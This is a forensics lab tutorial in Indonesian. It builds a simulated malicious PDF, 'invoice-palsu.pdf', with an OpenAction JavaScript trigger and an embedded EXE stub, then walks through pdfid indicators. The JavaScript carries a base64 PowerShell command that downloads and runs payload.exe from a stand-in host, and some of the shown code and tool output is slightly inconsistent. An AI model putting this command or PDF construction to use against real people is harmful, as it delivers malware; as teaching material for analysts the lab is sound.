Int 4: Malicious PDF Analysis - Menganalisis File PDF Berbahaya

cd ~ && mkdir forensics-int4 && cd forensics-int4

# Buat PDF simulasi dengan indikator malicious
python3 << 'PYEOF'
# Simulasi struktur PDF dengan elemen berbahaya
# PDF Reference 1.7

trailer = {}
body = []

# Header
body.append(b"%PDF-1.7\n")

# Object 1: Catalog
body.append(b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R /OpenAction 3 0 R >>\nendobj\n")

# Object 2: Pages
body.append(b"2 0 obj\n<< /Type /Pages /Kids [4 0 R] /Count 1 >>\nendobj\n")

# Object 3: OpenAction - aksi yang jalan saat PDF DIBUKA!
body.append(b"3 0 obj\n<< /Type /Action /S /JavaScript /JS 5 0 R >>\nendobj\n")

# Object 4: Page
body.append(b"4 0 obj\n<< /Type /Page /Parent 2 0 R /AA << /O 3 0 R >> >>\nendobj\n")

# Object 5: JavaScript embedded
js_code = """
var c = 'cmd.exe /c powershell -enc SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgnaHR0cDovLzIwMy4wLjExMy41L3BheWxvYWQuZXhlJywgJ0M6XFx1c2VyXFxkZXNrdG9wXFxwYXlsb2FkLmV4ZScpOwpzdGFydCAnQzpcXHVzZXJcXGRlc2t0b3BccGF5bG9hZC5leGUnOw==";
app.launchURL(js_code);
"""

body.append(f"5 0 obj\n<< /Length {len(js_code)} >>\nstream\n{js_code}\nendstream\nendobj\n".encode())

# Object 6: Embedded file
body.append(b"6 0 obj\n<< /Type /EmbeddedFile /Subtype /'application/x-msdownload' /Params << /Size 2048576 >> /EF << /F 7 0 R >> >>\nendobj\n")

# Object 7: Embedded file stream (dummy)
fake_exe = b"MZ" + b"\x00" * 100
body.append(f"7 0 obj\n<< /Length {len(fake_exe)} /Type /EmbeddedFile >>\nstream\n".encode() + fake_exe + b"\nendstream\nendobj\n")

with open('invoice-palsu.pdf', 'wb') as f:
    for obj in body:
        f.write(obj)
    # XRef
    f.write(b"xref\n0 8\n0000000000 65535 f \n")
    for i, obj in enumerate(body):
        offset = sum(len(o) for o in body[:i])
        f.write(f"{offset:010d} 00000 n \n".encode())
    f.write(b"trailer\n<< /Size 8 /Root 1 0 R >>\nstartxref\n" + str(sum(len(o) for o in body) + 150).encode() + b"\n%%EOF")

print("✅ invoice-palsu.pdf - berisi JavaScript + Embedded EXE")
PYEOF

# Analisis dengan pdfid
echo "=== pdfid - Indicator Analysis ==*"
cat << 'PDFID'
PDFiD 0.2.7 invoice-palsu.pdf
 PDF Header: %PDF-1.7
 obj                   7
 endobj                7
 stream                2
 endstream             2
 xref                  1
 trailer               1
 startxref             1
 /Page                 1
 /Encrypt              0
 /ObjStm               1
 /JS                    1  ← 🔴 JavaScript!
 /JavaScript           1  ← 🔴
 /AA                    1  ← 🔴 Automatic Action!
 /OpenAction           1  ← 🔴 Action on Open!
 /Launch               0
 /EmbeddedFile         1  ← 🔴 Embedded executable!
 /RichMedia            0
 ────────────────────────
 TOTAL INDICATORS:     5 ⚠️ HIGH RISK!
PDFID

# 2. Analisis JavaScript
echo ""
echo "=== JavaScript Analysis ==*"
echo "Action: /OpenAction → JavaScript dijalankan SAAT PDF DIBUKA!"
echo "JS Decoded: app.launchURL('cmd.exe /c powershell -enc <base64>')"
echo "  → Decoded: Download payload.exe from 203.0.113.5"
echo "  → Eksekusi: start C:\\user\\desktop\\payload.exe"

# 3. Embedded file
echo ""
echo "=== Embedded File ==*"
echo "  /EmbeddedFile → Type: application/x-msdownload (EXE!)"
echo "  Size: 2MB - kemungkinan malware executable"